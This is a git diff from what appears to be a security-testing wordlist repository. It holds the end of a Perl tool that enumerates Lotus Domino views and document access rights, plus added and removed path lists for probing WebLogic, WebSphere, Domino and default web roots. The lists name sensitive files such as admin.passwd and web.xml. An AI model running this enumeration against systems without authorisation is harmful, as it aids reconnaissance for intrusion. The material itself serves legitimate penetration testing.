||||||
|
push(@Valid_Views,$viewid);
|
||||||
|
foreach $command (@C_Views) {
|
||||||
|
$_url = "$url$command&AutoFramed";
|
||||||
|
($output,$content,$raw) = GetUrl($browser,$_url);
|
||||||
|
Output($_url,$output);
|
||||||
|
if ($content =~ /viewentries/) {
|
||||||
|
ParseViewEntries($content,sprintf("%03x",$i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return @Valid_Views;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ParseViewEntries {
|
||||||
|
my ($content, $vid) = @_;
|
||||||
|
my @lines = split(/\n/,$content);
|
||||||
|
|
||||||
|
foreach $line (@lines) {
|
||||||
|
if ($line =~ /<viewentry[^>]*unid="([^"]*)"[^>]*noteid="([^"]*)"[^>]*>/) {
|
||||||
|
$unid{$1} = $vid;
|
||||||
|
$noteid{$2} = $vid;
|
||||||
|
|
||||||
|
my_print("\t+ Document $1 / $2 appears in view $vid\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub EnumerateDocs {
|
||||||
|
my($browser,$host,$database,@views) = @_;
|
||||||
|
my @C_Docs, $output, $i, $url, $content, $raw, $nid, $viewnoteid;
|
||||||
|
|
||||||
|
open (F1, "$commands_docs") or die "\n\nCan't open $commands_docs \n\n$!";
|
||||||
|
@C_Docs = <F1>; chop(@C_Docs); close(F1);
|
||||||
|
|
||||||
|
my_print("\n--[ Enumerating documents through valid views...\n\n");
|
||||||
|
|
||||||
|
foreach $viewid (@views) {
|
||||||
|
my_print(" Current view = $viewid\n\n");
|
||||||
|
|
||||||
|
for ($i = 2294; $i < 4095; $i += 4) {
|
||||||
|
$nid = sprintf "%03x",$i;
|
||||||
|
$viewnoteid = $noteid{$nid};
|
||||||
|
$url = "http://$host/$database/$viewid/$nid?OpenDocument&AutoFramed";
|
||||||
|
($output,$content,$raw) = GetUrl($browser,$url);
|
||||||
|
if ($viewnoteid) {
|
||||||
|
if ($view =~ /$viewnoteid$/) {
|
||||||
|
Output("-- $url",$output);
|
||||||
|
} else {
|
||||||
|
Output("++ $url",$output);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Output(" ? $url",$output);
|
||||||
|
$viewnoteid = $viewid;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($output =~ /^200/) {
|
||||||
|
$access{$nid}[hex($viewnoteid)] = 1;
|
||||||
|
} else {
|
||||||
|
if ($viewid eq $viewnoteid) {
|
||||||
|
$access{$nid}[hex{$viewnoteid}] = -10;
|
||||||
|
} else {
|
||||||
|
$access{$nid}[hex{$viewnoteid}] = -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
break if ($output =~ /^500/);
|
||||||
|
}
|
||||||
|
my_print("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub Summary {
|
||||||
|
my $i,$docid,$restricted, $hexvalue;
|
||||||
|
my_print("\n--[ ACLs summary\n\n");
|
||||||
|
|
||||||
|
foreach $docid (keys %access) {
|
||||||
|
$restricted = 0;
|
||||||
|
my_print(" doc = $docid> ");
|
||||||
|
|
||||||
|
for ($i = 282; $i < 4095; $i += 4) {
|
||||||
|
if ($access{$docid}[$i] == 1) {
|
||||||
|
$hexvalue = sprintf "%03x",$i;
|
||||||
|
my_print("$hexvalue|");
|
||||||
|
}
|
||||||
|
elsif ($access{$docid}[$i] == -1) {
|
||||||
|
print " |";
|
||||||
|
}
|
||||||
|
$restricted = ($access{$docid}[$i] == -10);
|
||||||
|
}
|
||||||
|
my_print("(restricted on home view)") if ($restricted);
|
||||||
|
my_print("\n\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
sub GetUrl {
|
||||||
|
my ($browser,$url) = @_;
|
||||||
|
my $req = new HTTP::Request("GET" => "$url");
|
||||||
|
my $response = $browser->request($req);
|
||||||
|
my $content, $file, $shorturl;
|
||||||
|
|
||||||
|
return "Access denied" if ($response->status_line =~ /^200/ && $response->as_string =~ /$authentication_failure/);
|
||||||
|
|
||||||
|
if ($response->status_line =~ /^200/) {
|
||||||
|
$file = $url; $file =~ s/.*:\/\/[^\/]+\/([^\?]+).*/\/$1/;
|
||||||
|
$shorturl = $file; $shorturl =~ s/^.*\.nsf(\/.*)$/$1/;
|
||||||
|
$content = $response->content;
|
||||||
|
$content =~ s#"$file[^"]*"#""#g;
|
||||||
|
|
||||||
|
if (!$hash{$content}) {
|
||||||
|
$hash{$content} = "$shorturl";
|
||||||
|
} else {
|
||||||
|
return ($response->status_line." (similar to: ".$hash{$content}.")",$content,$response->as_string);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ($response->status_line,$content,$response->as_string);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub Login {
|
||||||
|
my ($browser,$url,$username,$password) = @_;
|
||||||
|
my $req = new HTTP::Request("POST" => "$url");
|
||||||
|
|
||||||
|
$req->content_type('application/x-www-form-urlencoded');
|
||||||
|
$req->content('Username='.$username.'&Password='.$password.'&%%ModDate=0000000000000000');
|
||||||
|
my $response = $browser->request($req);
|
||||||
|
|
||||||
|
return ($response->as_string !~ /$authentication_failure/);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
sub Output {
|
||||||
|
my($url,$output) = @_;
|
||||||
|
my $text;
|
||||||
|
|
||||||
|
if ($output !~ /^404/ && $output !~ /^500/) {
|
||||||
|
$text = "$url -> $output\n";
|
||||||
|
my_print($text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub my_print {
|
||||||
|
my($arg) = @_;
|
||||||
|
|
||||||
|
print $arg;
|
||||||
|
print LOGFILE $arg if ($logfile);
|
||||||
|
}
|
||||||
@ -1,159 +0,0 @@
|
|||||||
/*.gif
|
|
||||||
/*.gif/
|
|
||||||
/*.html
|
|
||||||
/*.jsp
|
|
||||||
/*.jsp/
|
|
||||||
/*.jws
|
|
||||||
/*.shtml/
|
|
||||||
/AdminCaptureRootCA
|
|
||||||
/AdminClients
|
|
||||||
/AdminConnections
|
|
||||||
/AdminEvents
|
|
||||||
/AdminJDBC
|
|
||||||
/AdminLicense
|
|
||||||
/AdminMain
|
|
||||||
/AdminProps
|
|
||||||
/AdminRealm
|
|
||||||
/AdminThreads
|
|
||||||
/AdminVersion
|
|
||||||
/BizTalkServer
|
|
||||||
/Bootstrap
|
|
||||||
/Certificate
|
|
||||||
/Classpath/
|
|
||||||
/ConsoleHelp/
|
|
||||||
/ConsoleHelp
|
|
||||||
/DefaultWebApp
|
|
||||||
/HTTPClntClose
|
|
||||||
/HTTPClntLogin
|
|
||||||
/HTTPClntRecv
|
|
||||||
/HTTPClntSend
|
|
||||||
/LogfileSearch
|
|
||||||
/LogfileTail
|
|
||||||
/Login.jsp
|
|
||||||
/MANIFEST.MF
|
|
||||||
/META-INF
|
|
||||||
/SimpappServlet
|
|
||||||
/StockServlet
|
|
||||||
/T3AdminMain
|
|
||||||
/UniversityServlet
|
|
||||||
/WEB-INF
|
|
||||||
/WEB-INF./web.xml
|
|
||||||
/WEB-INF/web.xml
|
|
||||||
/WLDummyInitJVMIDs
|
|
||||||
/WebServiceServlet
|
|
||||||
/_tmp_war
|
|
||||||
/_tmp_war_DefaultWebApp
|
|
||||||
/a2e2gp2r2/x.jsp
|
|
||||||
/actions
|
|
||||||
/admin/login.do
|
|
||||||
/applet
|
|
||||||
/applications
|
|
||||||
/authenticatedy
|
|
||||||
/bea_wls_internal/classes/
|
|
||||||
/bea_wls_internal/WebServiceServlet
|
|
||||||
/bea_wls_internal/getior
|
|
||||||
/bea_wls_internal
|
|
||||||
/bea_wls_internal/HTTPClntSend
|
|
||||||
/bea_wls_internal/HTTPClntRecv
|
|
||||||
/bea_wls_internal/iiop/ClientSend
|
|
||||||
/bea_wls_internal/iiop/ClientRecv
|
|
||||||
/bea_wls_internal/iiop/ClientLogin
|
|
||||||
/bea_wls_internal/WLDummyInitJVMIDs
|
|
||||||
/bea_wls_internal/a2e2gp2r2/x.jsp
|
|
||||||
/bea_wls_internal/psquare/x.jsp
|
|
||||||
/bea_wls_internal/iiop/ClientClose
|
|
||||||
/beanManaged
|
|
||||||
/certificate
|
|
||||||
/classes
|
|
||||||
/classes/
|
|
||||||
/com
|
|
||||||
/common
|
|
||||||
/config
|
|
||||||
/console
|
|
||||||
/cookies
|
|
||||||
/default
|
|
||||||
/docs51
|
|
||||||
/domain
|
|
||||||
/drp-exports
|
|
||||||
/drp-publish
|
|
||||||
/dummy
|
|
||||||
/e2ePortalProject/Login.portal
|
|
||||||
/ejb
|
|
||||||
/ejbSimpappServlet
|
|
||||||
/error
|
|
||||||
/examplesWebApp/EJBeanManagedClient.jsp
|
|
||||||
/examplesWebApp/WebservicesEJB.jsp
|
|
||||||
/examplesWebApp/OrderParser.jsp?xmlfile=C:/bea/weblogic81/samples/server/examples/src/examples/xml/orderParser/order.xml
|
|
||||||
/examplesWebApp/index.jsp
|
|
||||||
/examplesWebApp/InteractiveQuery.jsp
|
|
||||||
/examplesWebApp/SessionServlet
|
|
||||||
/fault
|
|
||||||
/file
|
|
||||||
/file/
|
|
||||||
/fileRealm
|
|
||||||
/fileRealm.properties
|
|
||||||
/getior
|
|
||||||
/graphics
|
|
||||||
/helloKona
|
|
||||||
/helloWorld
|
|
||||||
/iiop/ClientClose
|
|
||||||
/iiop/ClientRecv
|
|
||||||
/iiop/ClientLogin
|
|
||||||
/iiop/ClientSend
|
|
||||||
/images
|
|
||||||
/index
|
|
||||||
/index.jsp
|
|
||||||
/internal
|
|
||||||
/jmssender
|
|
||||||
/jmstrader
|
|
||||||
/jspbuild
|
|
||||||
/jwsdir
|
|
||||||
/login.jsp
|
|
||||||
/manifest.mf
|
|
||||||
/mapping
|
|
||||||
/mydomain
|
|
||||||
/myservlet
|
|
||||||
/page
|
|
||||||
/patient/login.do
|
|
||||||
/patient/register.do
|
|
||||||
/phone
|
|
||||||
/physican/login.do
|
|
||||||
/portalAppAdmin/login.jsp
|
|
||||||
/properties
|
|
||||||
/proxy
|
|
||||||
/psquare/x.jsp
|
|
||||||
/public_html
|
|
||||||
/servlet
|
|
||||||
/servletimages
|
|
||||||
/servlets/
|
|
||||||
/session
|
|
||||||
/simpapp
|
|
||||||
/simple
|
|
||||||
/simpleFormServlet
|
|
||||||
/snoop
|
|
||||||
/survey
|
|
||||||
/system
|
|
||||||
/taglib-uri
|
|
||||||
/uddi
|
|
||||||
/uddi/uddilistener
|
|
||||||
/uddiexplorer
|
|
||||||
/uddilistener
|
|
||||||
/utils
|
|
||||||
/web
|
|
||||||
/web.xml
|
|
||||||
/weblogic
|
|
||||||
/weblogic.properties
|
|
||||||
/weblogic.xml
|
|
||||||
/webservice
|
|
||||||
/webshare
|
|
||||||
/wl_management_internal2/FileDistribution
|
|
||||||
/wl_management_internal2/Bootstrap
|
|
||||||
/wl_management_internal2/Admin
|
|
||||||
/wl_management_internal2/wl_management
|
|
||||||
/wl_management_internal1/LogfileTail
|
|
||||||
/wl_management_internal1/LogfileSearch
|
|
||||||
/wl_management_internal1
|
|
||||||
/wl_management
|
|
||||||
/wl_management_internal2
|
|
||||||
/wliconsole
|
|
||||||
/wlserver
|
|
||||||
@ -1,366 +0,0 @@
|
|||||||
/*
|
|
||||||
/*.do
|
|
||||||
/*.jsp
|
|
||||||
/*.jsv
|
|
||||||
/*.jsw
|
|
||||||
/AddressBookJ2WB
|
|
||||||
/AddressBookJ2WB/*
|
|
||||||
/AddressBookJ2WE/*.jsp
|
|
||||||
/AddressBookJ2WE/*.jsv
|
|
||||||
/AddressBookJ2WE/*.jsw
|
|
||||||
/AddressBookJ2WE/services/AddressBook
|
|
||||||
/AddressBookJ2WE/services/AddressBook/wsdl/*
|
|
||||||
/AddressBookW2JB
|
|
||||||
/AddressBookW2JB/*
|
|
||||||
/AddressBookW2JE/*.jsp
|
|
||||||
/AddressBookW2JE/*.jsv
|
|
||||||
/AddressBookW2JE/*.jsw
|
|
||||||
/AddressBookW2JE/services/AddressBook
|
|
||||||
/AddressBookW2JE/services/AddressBook/wsdl/*
|
|
||||||
/AlbumCatalogWeb
|
|
||||||
/AlbumCatalogWeb/*
|
|
||||||
/AlbumCatalogWeb/docs/*
|
|
||||||
/AlbumCatalogWeb/docsservlet
|
|
||||||
/AlbumCatalogWeb/docsservlet/*
|
|
||||||
/AlbumCatalogWebservlet
|
|
||||||
/AlbumCatalogWebservlet/*
|
|
||||||
/AppInstallStatusServlet
|
|
||||||
/AppManagementStatus
|
|
||||||
/AppServer
|
|
||||||
/ApplicationProfileSample
|
|
||||||
/ApplicationProfileSample/*
|
|
||||||
/ApplicationProfileSample/docs/*
|
|
||||||
/ApplicationProfileSampleservlet
|
|
||||||
/ApplicationProfileSampleservlet/*
|
|
||||||
/BBApp
|
|
||||||
/Bank/*.jsp
|
|
||||||
/Bank/*.jsv
|
|
||||||
/Bank/*.jsw
|
|
||||||
/Bank/services/Transfer_SEI
|
|
||||||
/Bank/services/Transfer_SEI/wsdl
|
|
||||||
/Bank/services/Transfer_SEI/wsdl/*
|
|
||||||
/BeenThere
|
|
||||||
/ClusterRollout
|
|
||||||
/ControllerServlet
|
|
||||||
/DynaCacheESI
|
|
||||||
/DynaCacheESI/esiInavlidator
|
|
||||||
/DynamicQuery/EmployeeFinder
|
|
||||||
/DynamicQuery/EmployeeFinder/*
|
|
||||||
/DynamicQuery/docs/*
|
|
||||||
/ErrorReporter
|
|
||||||
/ErrorServlet
|
|
||||||
/FileTransfer
|
|
||||||
/GalleryMenu
|
|
||||||
/Greenhouse
|
|
||||||
/Greenhouse/*
|
|
||||||
/GreenhouseByWebSphere/docs/*
|
|
||||||
/GreenhouseEJB/*.jsp
|
|
||||||
/GreenhouseEJB/*.jsv
|
|
||||||
/GreenhouseEJB/*.jsw
|
|
||||||
/GreenhouseEJB/services/GreenhouseFront
|
|
||||||
/GreenhouseEJB/services/GreenhouseFront/wsdl/*
|
|
||||||
/GreenhouseWeb
|
|
||||||
/GreenhouseWeb/*
|
|
||||||
/GreenhouseWebservlet
|
|
||||||
/GreenhouseWebservlet/*
|
|
||||||
/Greenhouseservlet
|
|
||||||
/Greenhouseservlet/*
|
|
||||||
/HelloHTML.jsp
|
|
||||||
/HelloHTMLError.jsp
|
|
||||||
/HelloPervasive
|
|
||||||
/HelloVXML.jsp
|
|
||||||
/HelloVXMLError.jsp
|
|
||||||
/HelloWML.jsp
|
|
||||||
/HelloWMLError.jsp
|
|
||||||
/HelloWorld
|
|
||||||
/HelloWorldServlet
|
|
||||||
/HitCount
|
|
||||||
/HitCount.jsp
|
|
||||||
/IBMDefaultErrorReporter
|
|
||||||
/IBMWebAS
|
|
||||||
/JTAExtensionsSamples/TransactionTracker
|
|
||||||
/JTAExtensionsSamples/TransactionTracker/*
|
|
||||||
/JTAExtensionsSamples/docs/*
|
|
||||||
/MANIFEST.MF
|
|
||||||
/META-INF
|
|
||||||
/MessageDrivenBeans/docs/*
|
|
||||||
/MessageDrivenBeans/docsservlet/*
|
|
||||||
/OrderProcessorEJB/*
|
|
||||||
/OrderProcessorEJB/*.jsp
|
|
||||||
/OrderProcessorEJB/*.jsv
|
|
||||||
/OrderProcessorEJB/*.jsw
|
|
||||||
/OrderProcessorEJB/services/FrontGate
|
|
||||||
/OrderProcessorEJB/services/FrontGate/wsdl/*
|
|
||||||
/PlantsByWebSphere
|
|
||||||
/PlantsByWebSphere/*
|
|
||||||
/PlantsByWebSphere/docs
|
|
||||||
/SamplesGallery
|
|
||||||
/SamplesGallery/*
|
|
||||||
/SimpleServlet
|
|
||||||
/SnoopServlet
|
|
||||||
/SourceCodeViewer
|
|
||||||
/Sourceservlet-classViewer
|
|
||||||
/StockQuote/*.jsp
|
|
||||||
/StockQuote/*.jsv
|
|
||||||
/StockQuote/*.jsw
|
|
||||||
/StockQuote/services/xmltoday-delayed-quotes
|
|
||||||
/StockQuote/services/xmltoday-delayed-quotes/wsdl/*
|
|
||||||
/TechnologySamples/AddressBook
|
|
||||||
/TechnologySamples/AddressBook/*
|
|
||||||
/TechnologySamples/AddressBook/*.jsp
|
|
||||||
/TechnologySamples/AddressBook/*.jsv
|
|
||||||
/TechnologySamples/AddressBook/*.jsw
|
|
||||||
/TechnologySamples/AddressBook/AddressBookServlet
|
|
||||||
/TechnologySamples/AddressBook/servlet/*
|
|
||||||
/TechnologySamples/BasicCalculator
|
|
||||||
/TechnologySamples/BasicCalculator/*
|
|
||||||
/TechnologySamples/BulletinBoard
|
|
||||||
/TechnologySamples/BulletinBoard/*
|
|
||||||
/TechnologySamples/BulletinBoardservlet
|
|
||||||
/TechnologySamples/BulletinBoardservlet/*
|
|
||||||
/TechnologySamples/Calendar
|
|
||||||
/TechnologySamples/Calendar/*
|
|
||||||
/TechnologySamples/FilterServlet
|
|
||||||
/TechnologySamples/FilterServlet/*
|
|
||||||
/TechnologySamples/FormLogin
|
|
||||||
/TechnologySamples/FormLogin/*
|
|
||||||
/TechnologySamples/FormLoginservlet
|
|
||||||
/TechnologySamples/FormLoginservlet/*
|
|
||||||
/TechnologySamples/JAASLogin
|
|
||||||
/TechnologySamples/JAASLogin/*
|
|
||||||
/TechnologySamples/JAASLoginservlet
|
|
||||||
/TechnologySamples/JAASLoginservlet/*
|
|
||||||
/TechnologySamples/MovieReview
|
|
||||||
/TechnologySamples/MovieReview/*
|
|
||||||
/TechnologySamples/MovieReview2_0
|
|
||||||
/TechnologySamples/MovieReview2_0/*
|
|
||||||
/TechnologySamples/MovieReview2_1
|
|
||||||
/TechnologySamples/MovieReview2_1/*
|
|
||||||
/TechnologySamples/PageReturner
|
|
||||||
/TechnologySamples/PageReturner/*
|
|
||||||
/TechnologySamples/PageReturnerservlet
|
|
||||||
/TechnologySamples/PageReturnerservlet/*
|
|
||||||
/TechnologySamples/ReadingList
|
|
||||||
/TechnologySamples/ReadingList/*
|
|
||||||
/TechnologySamples/SimpleJSP
|
|
||||||
/TechnologySamples/SimpleJSP/*
|
|
||||||
/TechnologySamples/SimpleServlet
|
|
||||||
/TechnologySamples/SimpleServlet/*
|
|
||||||
/TechnologySamples/Subscription
|
|
||||||
/TechnologySamples/Subscription/*
|
|
||||||
/TechnologySamples/Subscriptionservlet
|
|
||||||
/TechnologySamples/Subscriptionservlet/*
|
|
||||||
/TechnologySamples/Taglib
|
|
||||||
/TechnologySamples/Taglib/*
|
|
||||||
/TechnologySamples/docs
|
|
||||||
/WEB-INF
|
|
||||||
/WEB-INF./web.xml
|
|
||||||
/WEB-INF/web.xml
|
|
||||||
/WSsamples
|
|
||||||
/WSsamples/*
|
|
||||||
/WSsamples/de
|
|
||||||
/WSsamples/de/*
|
|
||||||
/WSsamples/en
|
|
||||||
/WSsamples/en/*
|
|
||||||
/WSsamples/es
|
|
||||||
/WSsamples/es/*
|
|
||||||
/WSsamples/fr
|
|
||||||
/WSsamples/fr/*
|
|
||||||
/WSsamples/index.jsp
|
|
||||||
/WSsamples/it
|
|
||||||
/WSsamples/it/*
|
|
||||||
/WSsamples/ja
|
|
||||||
/WSsamples/ja/*
|
|
||||||
/WSsamples/ko
|
|
||||||
/WSsamples/ko/*
|
|
||||||
/WSsamples/pt_br
|
|
||||||
/WSsamples/pt_br/*
|
|
||||||
/WSsamples/zh_cn
|
|
||||||
/WSsamples/zh_cn/*
|
|
||||||
/WSsamples/zh_tw
|
|
||||||
/WSsamples/zh_tw/*
|
|
||||||
/WarehouseEJB/*.jsp
|
|
||||||
/WarehouseEJB/*.jsv
|
|
||||||
/WarehouseEJB/*.jsw
|
|
||||||
/WarehouseEJB/services/WarehouseFront
|
|
||||||
/WarehouseEJB/services/WarehouseFront/wsdl/*
|
|
||||||
/WarehouseWeb
|
|
||||||
/WarehouseWeb/*
|
|
||||||
/WarehouseWebservlet
|
|
||||||
/WarehouseWebservlet/*
|
|
||||||
/WebServicesSamples/docs/*
|
|
||||||
/WebSphere
|
|
||||||
/WebSphereBank
|
|
||||||
/WebSphereBank/*
|
|
||||||
/WebSphereBank/docs/*
|
|
||||||
/WebSphereBankDeposit
|
|
||||||
/WebSphereBankDeposit/*
|
|
||||||
/WebSphereBankDepositservlet
|
|
||||||
/WebSphereBankDepositservlet/*
|
|
||||||
/WebSphereBankservlet
|
|
||||||
/WebSphereBankservlet/*
|
|
||||||
/WebSphereSamples
|
|
||||||
/WebSphereSamples.Configuration.config
|
|
||||||
/WebSphereSamples/
|
|
||||||
/WebSphereSamples/SingleSamples/AccountAndTransfer/create.html
|
|
||||||
/WebSphereSamples/SingleSamples/Increment/increment.html
|
|
||||||
/WebSphereSamples/YourCo/main.html
|
|
||||||
/_DynaCacheEsi
|
|
||||||
/_DynaCacheEsi/*
|
|
||||||
/_DynaCacheEsi/esiInvalidator
|
|
||||||
/ab/*
|
|
||||||
/ab/docs/*
|
|
||||||
/activitysessions/docs/*
|
|
||||||
/addNodeListener
|
|
||||||
/admin
|
|
||||||
/admin-authz.xml
|
|
||||||
/admin.conf
|
|
||||||
/admin.passwd
|
|
||||||
/admin/*
|
|
||||||
/admin/logon.jsp
|
|
||||||
/admin/secure/logon.jsp
|
|
||||||
/apadminred
|
|
||||||
/apadminred.html
|
|
||||||
/aphtpasswd.html
|
|
||||||
/asynchbeans/*
|
|
||||||
/asynchbeans/docs/*
|
|
||||||
/cachemonitor
|
|
||||||
/cachemonitor/statistics.jsp
|
|
||||||
/cell.xml
|
|
||||||
/cells
|
|
||||||
/cgi-bin
|
|
||||||
/cgi-bin/
|
|
||||||
/com.ibm.ws.console.events
|
|
||||||
/com.ibm.ws.console.events/runtime_messages.jsp
|
|
||||||
/config
|
|
||||||
/console
|
|
||||||
/debug_error.jsp
|
|
||||||
/error
|
|
||||||
/error.jsp
|
|
||||||
/esiInavlidator
|
|
||||||
/estore
|
|
||||||
/estore/annotated-index.html
|
|
||||||
/estore/index.html
|
|
||||||
/estore/populate
|
|
||||||
/examples
|
|
||||||
/hello
|
|
||||||
/helloEJB
|
|
||||||
/hitcount
|
|
||||||
/httpd.conf
|
|
||||||
/i18nctxSample
|
|
||||||
/i18nctxSample/*
|
|
||||||
/i18nctxSample/docs/*
|
|
||||||
/ibm
|
|
||||||
/ibm/console
|
|
||||||
/ibm_security_logout
|
|
||||||
/icons
|
|
||||||
/images
|
|
||||||
/index.html
|
|
||||||
/index.jsp
|
|
||||||
/ivt
|
|
||||||
/ivt/*
|
|
||||||
/ivt/ivtDate.jsp
|
|
||||||
/ivt/ivtejb
|
|
||||||
/ivt/ivtservler
|
|
||||||
/ivt/ivtservlet
|
|
||||||
/ivtejb
|
|
||||||
/ivtserver
|
|
||||||
/ivtservlet
|
|
||||||
/j_security_check
|
|
||||||
/jsp
|
|
||||||
/login.html
|
|
||||||
/manual
|
|
||||||
/manual/index.html
|
|
||||||
/node.xml
|
|
||||||
/nodes
|
|
||||||
/opc/*.jsp
|
|
||||||
/opc/*.jsv
|
|
||||||
/opc/*.jsw
|
|
||||||
/opc/services/BrokerServiceIntfPort
|
|
||||||
/opc/services/BrokerServiceIntfPort/wsdl/*
|
|
||||||
/opc/services/OrderTrackingIntfPort
|
|
||||||
/opc/services/OrderTrackingIntfPort/wsdl/*
|
|
||||||
/opc/services/PurchaseOrderIntfPort
|
|
||||||
/opc/services/PurchaseOrderIntfPort/wsdl/*
|
|
||||||
/opt
|
|
||||||
/petstore
|
|
||||||
/petstore/*
|
|
||||||
/ping
|
|
||||||
/removeNodeListener
|
|
||||||
/resources.xml
|
|
||||||
/runtime_messages.jsp
|
|
||||||
/samples/activitysessions
|
|
||||||
/samples/activitysessions/*
|
|
||||||
/scheduler
|
|
||||||
/scheduler/*
|
|
||||||
/scheduler/docs/*
|
|
||||||
/scripts
|
|
||||||
/secure/downloadFile/*
|
|
||||||
/securecleanup
|
|
||||||
/security.xml
|
|
||||||
/server-info
|
|
||||||
/server-status
|
|
||||||
/server.xml
|
|
||||||
/serverindex.xml
|
|
||||||
/servers
|
|
||||||
/servlet
|
|
||||||
/servlet/*
|
|
||||||
/servlet/ControllerServlet
|
|
||||||
/servlet/ErrorReporter
|
|
||||||
/servlet/HelloWorldServlet
|
|
||||||
/servlet/HitCount
|
|
||||||
/servlet/SimpleServlet
|
|
||||||
/servlet/SnoopServlet
|
|
||||||
/servlet/TheExpiringHTMLServlet
|
|
||||||
/servlet/WebSphereSamples.Configuration.config
|
|
||||||
/servlet/WebSphereSamples.Form.FormServlet
|
|
||||||
/servlet/WebSphereSamples.YourCo.News.NewsServlet
|
|
||||||
/servlet/aphtpassword
|
|
||||||
/servlet/com.ibm.as400ad.webfacing.runtime.httpcontroller.ControllerServlet
|
|
||||||
/servlet/com.ibm.servlet.engine.webapp.DefaultErrorReporter
|
|
||||||
/servlet/com.ibm.servlet.engine.webapp.InvokerServlet
|
|
||||||
/servlet/com.ibm.servlet.engine.webapp.SimpleFileServlet
|
|
||||||
/servlet/com.ibm.servlet.engine.webapp.UncaughtServletException
|
|
||||||
/servlet/com.ibm.servlet.engine.webapp.WebAppErrorReport
|
|
||||||
/servlet/hello
|
|
||||||
/servlet/snoop
|
|
||||||
/servlet/snoop2
|
|
||||||
/servletcache
|
|
||||||
/showCfg
|
|
||||||
/sibstatus
|
|
||||||
/simple.jsp
|
|
||||||
/simpleJSP
|
|
||||||
/snoop
|
|
||||||
/snoop/*
|
|
||||||
/snoop2
|
|
||||||
/statistics.jsp
|
|
||||||
/status
|
|
||||||
/statuspoll
|
|
||||||
/theme
|
|
||||||
/tradetheme
|
|
||||||
/transfer
|
|
||||||
/uddigui/*
|
|
||||||
/uddisoap/*
|
|
||||||
/variables.xml
|
|
||||||
/very_simple.jsp
|
|
||||||
/virtualhosts.xml
|
|
||||||
/wasPerfTool
|
|
||||||
/wasPerfTool/*
|
|
||||||
/wasPerfToolservlet
|
|
||||||
/wasPerfToolservlet/*
|
|
||||||
/web.xml
|
|
||||||
/webapp
|
|
||||||
/webapp/examples/ErrorServlet
|
|
||||||
/webapp/examples/HelloPervasive
|
|
||||||
/webapp/examples/HitCount
|
|
||||||
/webapp/examples/SourceCodeViewer
|
|
||||||
/webapp/examples/login.html
|
|
||||||
/webapp/examples/ping
|
|
||||||
/webapp/examples/showCfg
|
|
||||||
/webapp/examples/showcfg
|
|
||||||
/webapp/examples/simple.jsp
|
|
||||||
/webapp/examples/verify
|
|
||||||
/webexec
|
|
||||||
/workarea/*
|
|
||||||
/workarea/docs/*
|
|
||||||
/
|
|
||||||
@ -28,3 +28,4 @@ tmp
|
|||||||
~ftp
|
~ftp
|
||||||
~nobody
|
~nobody
|
||||||
~root
|
~root
|
||||||
|
php.ini
|
||||||
|
|||||||
13
Discovery/Web-Content/default-web-root-directory-linux.txt
Normal file
13
Discovery/Web-Content/default-web-root-directory-linux.txt
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
/var/www/html/
|
||||||
|
/var/www/
|
||||||
|
/var/www/sites/
|
||||||
|
/var/www/public/
|
||||||
|
/var/www/public_html/
|
||||||
|
/var/www/html/default/
|
||||||
|
/srv/www/
|
||||||
|
/srv/www/html/
|
||||||
|
/srv/www/sites/
|
||||||
|
/home/www/
|
||||||
|
/home/httpd/
|
||||||
|
/home/$USER/public_html/
|
||||||
|
/home/$USER/www/
|
||||||
@ -0,0 +1,3 @@
|
|||||||
|
c:\inetpub\wwwroot\
|
||||||
|
c:\xampp\htdocs\
|
||||||
|
c:\wamp\www
|
||||||
68
Discovery/Web-Content/domino-dirs-coldfusion39.txt
Normal file
68
Discovery/Web-Content/domino-dirs-coldfusion39.txt
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
852566c90012664f/
|
||||||
|
852566c90012664f/dblist/
|
||||||
|
adm-bin/
|
||||||
|
archive/
|
||||||
|
cgi-bin/
|
||||||
|
customerdata/
|
||||||
|
dfc/
|
||||||
|
doc/
|
||||||
|
download/
|
||||||
|
download/filesets/
|
||||||
|
help/
|
||||||
|
inotes/
|
||||||
|
mail/
|
||||||
|
mtdata/
|
||||||
|
nntp/
|
||||||
|
openserver/
|
||||||
|
proghelp/
|
||||||
|
quickplace/
|
||||||
|
quickplace/quickplace/
|
||||||
|
quickstart/
|
||||||
|
sametime/
|
||||||
|
sametime/stadmin/
|
||||||
|
sample/
|
||||||
|
servlet/
|
||||||
|
servlet/accesscontrolservlet/
|
||||||
|
servlet/admin/
|
||||||
|
servlet/auth/
|
||||||
|
servlet/auth/admin/
|
||||||
|
servlet/auth/fileupload/
|
||||||
|
servlet/auth/mmapi/
|
||||||
|
servlet/auth/namechange/
|
||||||
|
servlet/auth/policy/
|
||||||
|
servlet/auth/rapfile/
|
||||||
|
servlet/auth/refresh/
|
||||||
|
servlet/auth/scs/
|
||||||
|
servlet/bootstrap/
|
||||||
|
servlet/dominoadminxpathrequestservletjaxp/
|
||||||
|
servlet/dominobootstrapservlet/
|
||||||
|
servlet/dominoconfigurationservlet/
|
||||||
|
servlet/fileupload/
|
||||||
|
servlet/fileuploadservlet/
|
||||||
|
servlet/meeting/
|
||||||
|
servlet/meetingservlet/
|
||||||
|
servlet/mmapi/
|
||||||
|
servlet/mmapiservlet/
|
||||||
|
servlet/namechange/
|
||||||
|
servlet/namechangeservlet/
|
||||||
|
servlet/notescalendarservlet/
|
||||||
|
servlet/policy/
|
||||||
|
servlet/policyservlet/
|
||||||
|
servlet/rapfile/
|
||||||
|
servlet/rapfileservlet/
|
||||||
|
servlet/refresh/
|
||||||
|
servlet/refreshservlet/
|
||||||
|
servlets/
|
||||||
|
servlet/sametimestartupservlet/
|
||||||
|
servlet/schedulertransfer/
|
||||||
|
servlet/scs/
|
||||||
|
servlets/schedulertransfer/
|
||||||
|
servlet/statistics/
